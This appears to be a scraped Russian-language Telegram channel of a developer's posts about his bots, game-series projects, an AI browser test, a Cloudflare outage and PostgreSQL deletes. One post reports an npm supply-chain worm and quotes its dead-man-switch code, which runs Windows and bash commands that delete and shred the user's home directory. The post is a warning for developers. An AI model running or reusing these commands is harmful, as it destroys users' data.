Бессонный кодер – Telegram
Бессонный кодер
4.99K subscribers
315 photos
54 videos
5 files
124 links
Канал разработчика и поисковика ДПСО LizaAlert

Связь: @sleeplessfeedbackbot или Direct канала (они бесплатные)
По рекламе: @dpp_ads
Купить рекламу: https://telega.in/c/sleeplesscode
Download Telegram
Приветики! Пришёл сказать вам что я как минимум жив, щас много работы и юридических дел из-за чего я немного не успеваю писать посты, но чтобы немножко извиниться за оффлайн, ловите мем из работы.

Как вы могли слышать, я администрирую наши внутренние системы, среди которых есть YouTrack, так вот...
Мы нашли небольшой баг который надо исправить, я уже рутинно пошёл заводить под исправление этого бага задачку как вдруг... ЛОШАДИ

Что? (Произнести с интонацией Утопии Шоу)

Да, кто-то в список полей проекта добавил поле "Лошади". Смотрю другие проекты, И ТАМ ЛОШАДИ.
Тут я передаю слово вам, как вы думаете, кто и зачем его создал?
🔥7911🙏5❤‍🔥3👏2🤯2
Кстати, ловите одну из вещей которую я допилил, как вы знаете, у Стражника и Подпольного есть публичный дашборд графаны, теперь такой есть и у @MembersLoggerBot!

Так как этот ботик у меня сильно меньше остальных, у него не всегда есть данные для отображения, но когда данные есть, он делает это красиво, я постарался)

А посмотреть самим можно тут.
36🔥5😱2🐳1💯1🫡1
Там внезапно вышла небольшая статья про Стражника, знаете, даже прикольно что комьюнити вокруг него так растёт, помню был удивлён когда увидел RolePlay чат и аккаунт от имени Стражника, а теперь мы дошли до небольшой и любительской, но статейки :3

https://news.1rj.ru/str/cherry_newspaper/160
👍505❤‍🔥3🔥3👏2🙏2🙊2
Ещё до того, как закончилось Новое Поколение, Самат начал делать наработки по новому сезону. А когда он вернулся в начале Игры Бога, он хотел использовать их — но общим решением мы отказались в пользу того начала истории, которое в итоге получилось и которое вы все знаете.

Но — пока мы обсуждали старт Игры Бога, Самат нашёл и скинул мне эти материалы. Поэтому давайте сегодня заглянем в альтернативную версию сюжета, которая могла существовать.

Идея была не в том, чтобы «подкрутить баланс» или «поправить сценарий». Это был полный перезапуск концепции мира. Новая смысловая модель, новый тон, новый вектор развития.

По этой структуре Рома должен был пройти четырёх богов, четыре стихии, четыре стороны света и четыре испытания.
У меня была идея увести это в историю о четырёх богах по стихии… чуть меньше летсплей и чуть больше история.


Сюжет строился бы как путешествие героя через четыре города, в каждом из которых есть хранитель испытания:
Он встречает кого-то, кто говорит: “Пройди моё испытание”.
Четыре испытания в четырёх городах.


Юг — Огонь — Агний
Восток — Воздух — Аэра
Запад — Вода — Аква
Север — Земля — (имя потеряно)

И итогом его пути должна была стать встреча с самим богом.
Он проходил бы четыре испытания в четырёх городах.
Чтобы дойти до самого бога и убедить его сделать выбор.


И вот теперь — самый интересный момент. Как вы думаете:
Какие механики, задания и испытания могли быть в этих четырёх городах?
Давайте порассуждаем вместе. Пишите свои идеи в комментарии.
🔥598💅7❤‍🔥3👍1🏆1💋1🦄1
Так, после большого поста подабается не очень большой и весёлый. Решил я тут попробовать OpenAI Atlas (браузер с ChatGPT), как раз у меня Plus подписка появилась, и что я вам скажу, работает и выглядит прикольно.

Дал я ему пару задачек и вот как он справился с ними:

1) Запрос: У меня открыта вкладка читай-города, найди мне что-то почитать на основе тех книг которые мы обсуждали чуть ранее.
Суть: Проверить как он будет ориентироваться на сайте с моим авторизованным профилем, как он разберётся с проверкой наличия книг и вспомнит ли он диалог из соседнего чата
Результат: Сначала долго думал насколько законно и этически правильно выполнять запрос, когда убедился что всё ок (скорее всего он задумался так как мы упоминали Made in Abyss) быстро прошёлся по страницам и составил для меня отчёт (см. второй скриншот)

2) Запрос: Найди мне на Российских площадках Такаги или Баракамон
Суть: Сможет ли он не попасться на ловушку кривого запроса, так как указана только фамилия у первой манги + ориентация и поиск по нескольким сайтам
Результат: Он пару минут боролся с рекламой на Яндекс.Маркете (см. первый скриншот), потом попался на ловушку кривого запроса и начал искать по запросу "Takagi", не разворачивая полное название, из-за чего словил не очень релевантные результаты. Потом он перешёл на Озон, там повторил ошибку, но алгоритм Озона догадался что ищут и минимизировал иррелеватные результаты. Отдельный момент, тут он подумал что если проскролить вниз, то будут более подходящие результаты, он это делает и попадает на "Рекомендуем вам". Ответ смотрите на третьем скриншоте.

Прикольно что после этого можно уже через любой браузер посмотреть видео-анимацию того как шёл поиск со всеми его запросами и размышлениями. Вот как-то так.
❤‍🔥4713😇8🍓4👍1🔥1🤩1🤗1
Продолжаем немного лайтовые и позитивные посты.
У нас в команде есть внутренний бот который позволяет взаимодействовать с нашими системами через ТГ (информация от CI, корпоративные доступы, контроль рабочих чатов) и его самая главная фича (он вообще появился чтобы её выполнять) — контроль дедлайнов. И делает он это 2 раза в день со смешной (или не очень) фразой. Прикрепил вам несколько таких сообщений.

И сегодня случилось то что мы все так желали. Пока я редактировал права ролей... я его случайно удалил :D

Как жаль что пришлось его восстанавливать, но на пару минут мы всё-таки победили бездушную машину!
1🥰65🔥874👍1💯1🍓1🙉1💊1
Ребят, админ снова с вами! Я тут немного пропал на недельку — успел побывать в больнице и в коротком отпуске (aka больничный), но теперь я снова цел и полон сил 😄

Давайте начнём недельку с обсуждения: а что вы вообще хотите видеть нового и необычного на канале? Да, я уже несколько раз делал подобный опрос, но раньше давал вам варианты на выбор. А теперь — свободный ответ. Может, вы хотите что-то такое, о чём я даже не задумывался.

Ну и да, старые идущие рубрики не заканчиваются — я всё ещё пишу текстики и редактирую видео для них (хотя больничный не очень позитивно сказался на сроках готовности).
Please open Telegram to view this post
VIEW IN TELEGRAM
1👍5020🔥7🫡3😍2❤‍🔥1🐳1🙊1
Никогда такого не было — и вот опять: в npm снова обнаружена supply-chain атака. В этот раз атака достаточно крупная и могла задеть большое количество рабочих станций и серверов.

Вредонос работает как червь, заражая пакеты пострадавшего разработчика. Но самое интересное — он содержит dead man switch, который может удалить пользовательские данные, если каналы распространения будут перекрыты.

После заражения вредонос крадёт с рабочей станции данные аутентификации для GitHub, npm, AWS, GCP и Azure и передаёт их в контролируемые хакерами GitHub-репозитории.

GitLab уже выпустил очень хорошую статью с разбором кода вредоноса, подробно объясняя, что он делает:
https://about.gitlab.com/blog/gitlab-discovers-widespread-npm-supply-chain-attack/
(если хотите мой перевод с пояснениями — дайте знать)

Полный список заражённых пакетов можно найти здесь:
https://github.com/wiz-sec-public/wiz-research-iocs/blob/main/reports/shai-hulud-2-packages.csv

Что отличает эту атаку от прошлых?

1. Масштаб — более 800 заражённых пакетов, включая не только модули для организаций, но и самостоятельные пакеты, а также модули для React.
2. Dead man switch — при отсутствии доступа одновременно к GitHub и npm вредонос пытается уничтожить домашнюю директорию пользователя:

 // DESTRUCTION TRIGGER: No GitHub AND no NPM access
console.log("Error 12");
if (platform === "windows") {
// Attempts to delete all user files and overwrite disk sectors
Bun.spawnSync(["cmd.exe", "/c",
"del /F /Q /S \"%USERPROFILE%*\" && " +
"for /d %%i in (\"%USERPROFILE%*\") do rd /S /Q \"%%i\" & " +
"cipher /W:%USERPROFILE%" // Overwrite deleted data
]);
} else {
// Attempts to shred all writable files in home directory
Bun.spawnSync(["bash", "-c",
"find \"$HOME\" -type f -writable -user \"$(id -un)\" -print0 | " +
"xargs -0 -r shred -uvz -n 1 && " + // Overwrite and delete
"find \"$HOME\" -depth -type d -empty -delete" // Remove empty dirs
]);
}
process.exit(0);


Как говорится: никогда такого не было — и вот опять.
Stay safe.
👍4110❤‍🔥4🔥1😁1🤗1🙊1
Всем привет! Начинаем неделю (и ждём завоза в среду) с интересного чтения. Помните мой цикл постов о морали и геймдизайне убийства детей в играх? Так вот, идея этого цикла у меня появилась после того, как я прочитал работу Бьорна Шёблома на эту тему.

Если вас заинтересовала эта тема и вы хотите глубже её изучить, то специально для вас я выложил эту статью в оригинале на своём Boosty и, страдая несколько часов, полностью перевёл её на русский.

Там есть действительно интересные размышления, цитаты и референсы, которые я не мог публиковать здесь из-за риска получить пару статей за такие формулировки :D

Читать тут: https://boosty.to/redguy/posts/94737a8e-df80-49c2-8b64-44d1eb5c530d?share=post_link
29🏆3👍2🔥2😎2
Привет ребят!
Что-то я щас дико ушёл в работу, так много всего делаю что немного не успеваю писать для вас, но давайте заключим сделку.

Я — публикую для вас смешной ролик, с тем как я в РЕПО с иностранцами играл.
Вы — прощаете меня за то что я не успеваю завозить для вас больше контента.

Чтобы вы понимали, за 2 месяца что я его делал, я смеялся при каждом его просмотре, а это было много раз...

Ну и да, по остальным постам, у меня в работе ещё 19 разных и интересных постов которые могут полноценно перерасти в рубрики, так что... Пока приятного просмотра, а в скором будет и приятного чтения!

https://youtu.be/jPniG_3SMHs
34😎5❤‍🔥3🙉2👍1🔥1🤝1
В своём канале "Эссергей" Сергей Шпадырев разбирает реальность по винтикам: философия и математика, теология и буддизм, психология и деконструкция мира простыми словами. Подписывайтесь, чтобы смотреть на обычные вещи под необычным углом!

Перейди в канал, чтобы взглянуть на мир иначе!
124😱5🕊5🤪1
Мало людей знают и говорят об этом, так что я решил рассказать и обратить ваше внимание на один интересный факт о сезоне.

Мастерская 47 - первый сезон в котором для сезона пишется не просто одна песня, не пару фоновых мелодий, А ЦЕЛЫЙ АЛЬБОМ САУНДТРЕКА.
Так что, если вам понравилась какая-то мелодия из серии, или стартовый саудтрек анимации, вы можете переслушать и добавить его в свой плейлист.
Ну и давайте вместе поддержим Юру Леонтьева (наш композитор, саунд-продюссер и автор этого альбома).

YouTube Music
Spotify
Apple Music
Yandex Music
💘41🔥15🤯5😱2❤‍🔥11👍1😁1
Постик для лолофд.
А давайте вместе подумаем: если бы заказ Ромы дополнился и вышел бы спин-офф сезон, который ушёл от циклического иссекая с антологической структурой миров во что-то другое — то что это было бы?

Может, это был бы неожиданный, тёплый и добрый slice of life про кого-то из персонажей.
Или ромком с зарождением и развитием отношений вашего любимого шипа в сезоне.
А может, просто road-movie по миру Точки невозврата?

Буду рад почитать ваши идеи — и уверен, что другие подписчики тоже будут рады!
👍51🔥84❤‍🔥33💘2🥰1👏1😁1🤯1
Доброе утро, очередное важное напоминание для вас, сегодня интернет положил не РКН, а упавший CloudFlare... Опять

UPD: мы в 12:11 по МСК поднялись
😢60❤‍🔥74🔥3👏2🕊2😁1🎉1
Бессонный кодер
Доброе утро, очередное важное напоминание для вас, сегодня интернет положил не РКН, а упавший CloudFlare... Опять UPD: мы в 12:11 по МСК поднялись
Появилась информация о причине сбоя:

A change made to how Cloudflare's Web Application Firewall parses requests caused Cloudflare's network to be unavailable for several minutes this morning. This was not an attack; the change was deployed by our team to help mitigate the industry-wide vulnerability disclosed this week in React Server Components. We will share more information as we have it today.

Твой главный враг - ты сам
🌚438💘4🔥1🤯1🙏1👌1💅1
Всем приветик!
Настало время понемногу рассказывать о том, с чем мы столкнулись в разработке — и что, как мне кажется, будет вам интересно.
(Иронично, конечно, что пост выходит в момент, когда я снова дико занят, потому что кое-кто опять занят юридическими делами. Но ладно, не будем о грустном.)

Помните, в одном из прошлых постов я говорил, что хочу попробовать поработать с ещё более жёстким хайлоадом?
Ну… накаркал.

Как вы знаете, в Стражнике мы модерируем стикеры (и морально готовимся к фото и гифкам). И вот, буквально на днях, нас накрыл такой вал нагрузки, что за короткое время мы обработали 30+ миллионов записей и 8 миллионов файлов.
И где-то между «всё хорошо» и «This is fine» всплыла очень любопытная проблема.

Как у нас устроен флоу обработки:
запись задачи → процессор обрабатывает задачу → сохраняет результаты как файлы → нейронка обрабатывает эти файлы.

Красиво? Да.
Работает? Обычно — да.
Но в тот день нейронка… простаивала. Почти полностью пустая.
А очередь задач — Токио ещё далеко до такого количества записей.

Мы начали разбираться, и выяснилось: у нас дико тормозит удаление строк из таблицы. Самый обычный, самый банальный запрос:
DELETE FROM jobs WHERE id = $1;


То есть не нейронка, не процессинг файлов, не очереди — а DELETE.
И в этот момент у меня в голове всплыло то самое вечное высказывание, которое я слышу когда Telegram в очередной раз показывает удалённое сообщение:
«Мессенджеры не удаляют сообщения — они помечают их как удалённые».

И я подумал: окей, если у нас DELETE начинает душить пайплайн, давайте разберёмся почему так происходит и как жить.

Поэтому встречайте: новый мини-цикл постов!

Мы поговорим о:
- soft delete и hard delete
- о том, почему PostgreSQL на самом деле не удаляет строки сразу
- как устроена под капотом MVCC
- почему UPDATE с флагом бывает дешевле DELETE
- как мессенджеры управляют массивами данных
- что вам лично с этим делать, если у вас миллионы строк и нагрузка растёт

Готовьте свои СУБД, миллионы записей и немного кофе.
Мы начинаем уже завтра.
🔥398❤‍🔥3😎3🍓2👻1